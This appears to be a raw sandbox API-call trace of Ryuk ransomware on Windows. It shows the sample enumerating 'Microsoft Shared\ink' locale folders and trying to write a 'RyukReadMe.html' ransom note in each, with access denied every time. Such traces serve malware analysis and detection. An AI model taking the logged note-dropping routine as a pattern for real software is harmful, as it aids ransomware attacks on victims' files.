	[0131.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.580] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.580] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.580] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.580] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.580] SetLastError (dwErrCode=0x0) 
	[0131.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.581] GetLastError () returned 0x5
	[0131.581] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1
	[0131.581] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0131.582] SetLastError (dwErrCode=0x0) 
	[0131.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.582] GetLastError () returned 0x5
	[0131.582] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.583] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.583] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.583] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.583] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.584] SetLastError (dwErrCode=0x0) 
	[0131.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.584] GetLastError () returned 0x5
	[0131.584] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.585] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0131.585] SetLastError (dwErrCode=0x0) 
	[0131.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.585] GetLastError () returned 0x5
	[0131.585] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.586] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.586] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.586] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.587] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.587] SetLastError (dwErrCode=0x0) 
	[0131.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.587] GetLastError () returned 0x5
	[0131.587] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.587] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0131.588] SetLastError (dwErrCode=0x0) 
	[0131.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.588] GetLastError () returned 0x5
	[0131.588] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.589] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.589] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.589] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.589] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.590] SetLastError (dwErrCode=0x0) 
	[0131.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.590] GetLastError () returned 0x5
	[0131.590] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.590] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.590] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0131.590] SetLastError (dwErrCode=0x0) 
	[0131.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.591] GetLastError () returned 0x5
	[0131.591] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.591] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.592] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.592] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.592] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.592] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.592] SetLastError (dwErrCode=0x0) 
	[0131.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.593] GetLastError () returned 0x5
	[0131.593] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.593] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0131.593] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0131.593] SetLastError (dwErrCode=0x0) 
	[0131.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.594] GetLastError () returned 0x5
	[0131.594] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.594] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.594] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0131.594] SetLastError (dwErrCode=0x0) 
